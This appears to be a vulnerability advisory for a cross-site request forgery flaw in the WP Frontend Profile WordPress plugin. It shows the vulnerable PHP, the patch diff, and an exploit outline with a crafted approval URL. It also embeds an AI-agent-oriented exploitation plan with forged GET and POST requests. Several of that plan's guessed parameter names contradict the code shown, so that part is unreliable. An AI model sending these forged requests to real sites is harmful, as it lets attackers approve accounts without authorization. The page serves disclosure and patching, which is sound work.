WP Frontend Profile <= 1.3.8 - Cross-Site Request Forgery to Unauthorized User Account Approval or Rejection
Description
The WP Frontend Profile plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing nonce validation on the 'update_action' function. This makes it possible for unauthenticated attackers to approve or reject user account registrations via a forged request granted they can trick an administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.3.8What Changed in the Fix
Changes introduced in v1.3.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1644 (WP Frontend Profile CSRF) ## 1. Vulnerability Summary The **WP Frontend Profile** plugin (up to version 1.3.8) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to the absence of nonce validation in the `update_action` function. This function is…
Show full research plan
Exploitation Research Plan: CVE-2026-1644 (WP Frontend Profile CSRF)
1. Vulnerability Summary
The WP Frontend Profile plugin (up to version 1.3.8) is vulnerable to Cross-Site Request Forgery (CSRF) due to the absence of nonce validation in the update_action function. This function is responsible for managing user registration states (approving or rejecting new accounts). An unauthenticated attacker can craft a malicious URL or form and trick a logged-in Administrator into clicking it, resulting in unauthorized user account approvals or rejections.
2. Attack Vector Analysis
- Vulnerable Function:
update_action(likely located ininc/class-wp-frontend-profile.php). - Endpoint: WordPress Admin Dashboard.
- Hook: Likely
admin_initorinit. - HTTP Method: Likely
GET(as many simple account management actions are handled via query parameters) orPOST. - Target Parameters:
page:wpfep-settingswpfep_action: The action to perform (e.g.,approve,reject, ordelete).id: The User ID of the pending registration.
- Authentication: The request must be executed by a user with administrative privileges (
manage_options).
3. Code Flow
- Entry Point: The plugin registers an admin settings page with the slug
wpfep-settings(seen inwp-frontend-profile.phpviaplugin_action_links). - Hook Registration: Within
inc/class-wp-frontend-profile.php(referenced in the main file), a hook (likelyadmin_init) triggers theupdate_actionmethod. - Logic:
- The code checks if the
pageparameter matcheswpfep-settings. - It checks if
wpfep_actionandidare set in the$_GETor$_POSTsuperglobals. - It likely verifies the current user's capability using
current_user_can('manage_options').
- The code checks if the
- Vulnerability: The function fails to call
check_admin_referer()orwp_verify_nonce(). - Sink: Based on the
wpfep_actionvalue, the plugin updates the user's status or meta (e.g., changing awpfep_user_statusmeta key or moving them from a "pending" role to a "subscriber" role).
4. Nonce Acquisition Strategy
No nonce is required. The vulnerability exists specifically because the update_action function performs state-changing operations without verifying a CSRF token.
5. Exploitation Strategy
The goal is to approve a "Pending" user account via an administrative CSRF.
Step-by-Step Plan:
- Identify Action Parameters:
The agent must first verify the exact parameter names and the admin page URL. It will grep forupdate_actionandwpfep_action.grep -rn "update_action" wp-content/plugins/wp-front-end-profile/ - Create a Pending User:
Register a new user through the plugin's frontend registration form. - Admin Simulation:
Using thehttp_requesttool with Administrator cookies, trigger theupdate_actionfunction.
Expected Payload (GET Request):
GET /wp-admin/admin.php?page=wpfep-settings&tab=users&wpfep_action=approve&id=[PENDING_USER_ID] HTTP/1.1
Host: localhost:8080
Cookie: [ADMIN_COOKIES]
6. Test Data Setup
- Plugin Configuration:
Ensure user moderation is enabled. Use WP-CLI to check for plugin settings that might require manual approval for new registrations.wp option get wpfep_settings - Create Registration Page:
Create a page with the registration shortcode:wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[wpfep-register]' - Register Victim User:
Navigate to the registration page and create a user (e.g.,attacker_user). - Verify Pending Status:
Confirm the user is created but lacks full access or has a "pending" status in user meta.wp user get attacker_user --fields=ID,user_status wp user meta get [ID] wpfep_user_status
7. Expected Results
- The HTTP request returns a
302 Redirectback to the settings page or a200 OKwith a success message. - The user account status for
attacker_useris updated from "pending" to "approved" (or similar). - No "Are you sure you want to do this?" (WordPress nonce failure) message is displayed.
8. Verification Steps
- Check User Meta:
Verify that the metadata associated with approval has changed.wp user meta list [PENDING_USER_ID] - Check User Role:
Verify if the user has been promoted to a standard role (e.g., Subscriber).wp user get [PENDING_USER_ID] --fields=roles - Login Attempt:
Attempt to authenticate as the newly approved user.
9. Alternative Approaches
If the GET request fails, the plugin may expect a POST request to admin-post.php or admin-ajax.php.
Alternative POST Strategy:
POST /wp-admin/admin.php?page=wpfep-settings HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wpfep_action=approve&id=[USER_ID]
If the update_action is hooked to admin_init, the request must include the page=wpfep-settings parameter to satisfy the plugin's internal routing logic even if it's a POST request.
Summary
The WP Frontend Profile plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation in its `update_action` function. This vulnerability allows an unauthenticated attacker to approve or reject pending user registrations by tricking a site administrator into clicking a malicious link.
Vulnerable Code
// functions/wpfep-functions.php line 984 function update_action() { if (! empty($_GET['action']) ? sanitize_text_field(wp_unslash($_GET['action'])) : '' && in_array(sanitize_text_field(wp_unslash($_GET['action'])), array( 'approve', 'rejected' )) && ! empty($_GET['new_role'] ? sanitize_text_field(wp_unslash($_GET['new_role'])) : '')) { $request = sanitize_text_field(wp_unslash($_GET['action'])); $request_id = intval($_GET['user']); $user_data = get_userdata($request_id); if ('approve' == $request) { update_user_meta($request_id, 'wpfep_user_status', $request); $subject = 'Approval notification'; $message = 'Your account is approved by admin.' . "\r\n\r\n"; $message .= 'Now you can log in to your account.' . "\r\n\r\n"; $message .= 'Thank you' . "\r\n\r\n"; wp_mail($user_data->user_email, $subject, $message); } if ('rejected' == $request) { update_user_meta($request_id, 'wpfep_user_status', $request); $subject = 'Denied notification'; $message = 'Your account is denied by admin.' . "\r\n\r\n"; $message .= 'Now you cannot Log In to your account.' . "\r\n\r\n"; $message .= 'Thank you' . "\r\n\r\n"; wp_mail($user_data->user_email, $subject, $message); } } } add_action('load-users.php', 'update_action');
Security Fix
@@ -984,26 +984,50 @@ */ function update_action() { - if (! empty($_GET['action']) ? sanitize_text_field(wp_unslash($_GET['action'])) : '' && in_array(sanitize_text_field(wp_unslash($_GET['action'])), array( 'approve', 'rejected' )) && ! empty($_GET['new_role'] ? sanitize_text_field(wp_unslash($_GET['new_role'])) : '')) { - $request = sanitize_text_field(wp_unslash($_GET['action'])); - $request_id = intval($_GET['user']); - $user_data = get_userdata($request_id); - if ('approve' == $request) { - update_user_meta($request_id, 'wpfep_user_status', $request); - $subject = 'Approval notification'; - $message = 'Your account is approved by admin.' . "\r\n\r\n"; - $message .= 'Now you can log in to your account.' . "\r\n\r\n"; - $message .= 'Thank you' . "\r\n\r\n"; - wp_mail($user_data->user_email, $subject, $message); - } - if ('rejected' == $request) { - update_user_meta($request_id, 'wpfep_user_status', $request); - $subject = 'Denied notification'; - $message = 'Your account is denied by admin.' . "\r\n\r\n"; - $message .= 'Now you cannot Log In to your account.' . "\r\n\r\n"; - $message .= 'Thank you' . "\r\n\r\n"; - wp_mail($user_data->user_email, $subject, $message); - } + // Ensure expected parameters exist + if ( empty($_GET['action']) || empty($_GET['user']) ) { + return; + } + + $action = sanitize_text_field(wp_unslash($_GET['action'])); + $user_id = intval(wp_unslash($_GET['user'])); + + // Only allow our two actions + if ( ! in_array($action, array('approve', 'rejected'), true) ) { + return; + } + + // Verify nonce that is added via wp_nonce_url(..., 'new-user-approve') in the action links + if ( empty($_GET['_wpnonce']) || ! wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'new-user-approve') ) { + wp_die('Nonce verification failed.'); + } + + // Ensure the current user has the capability to approve/reject users + if ( ! current_user_can('promote_users') ) { + wp_die('You do not have permission to perform this action.'); + } + + $user_data = get_userdata($user_id); + if ( ! $user_data ) { + return; + } + + if ('approve' === $action) { + update_user_meta($user_id, 'wpfep_user_status', $action); + $subject = 'Approval notification'; + $message = 'Your account is approved by admin.' . "\r\n\r\n"; + $message .= 'Now you can log in to your account.' . "\r\n\r\n"; + $message .= 'Thank you' . "\r\n\r\n"; + wp_mail($user_data->user_email, $subject, $message); + } + + if ('rejected' === $action) { + update_user_meta($user_id, 'wpfep_user_status', $action); + $subject = 'Denied notification'; + $message = 'Your account is denied by admin.' . "\r\n\r\n"; + $message .= 'Now you cannot Log In to your account.' . "\r\n\r\n"; + $message .= 'Thank you' . "\r\n\r\n"; + wp_mail($user_data->user_email, $subject, $message); } }
Exploit Outline
The exploit targets the `update_action` function, which is hooked to the `load-users.php` admin page and lacks CSRF protection. An attacker registers a new user via the plugin's frontend and then identifies the resulting user ID. They craft a malicious URL (e.g., `/wp-admin/users.php?action=approve&user=[ID]&new_role=subscriber`) and trick a logged-in Administrator into visiting it. Since there is no nonce check or validation of the request origin, the plugin immediately updates the user's metadata (`wpfep_user_status`) to 'approve', effectively granting the attacker's account access to the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.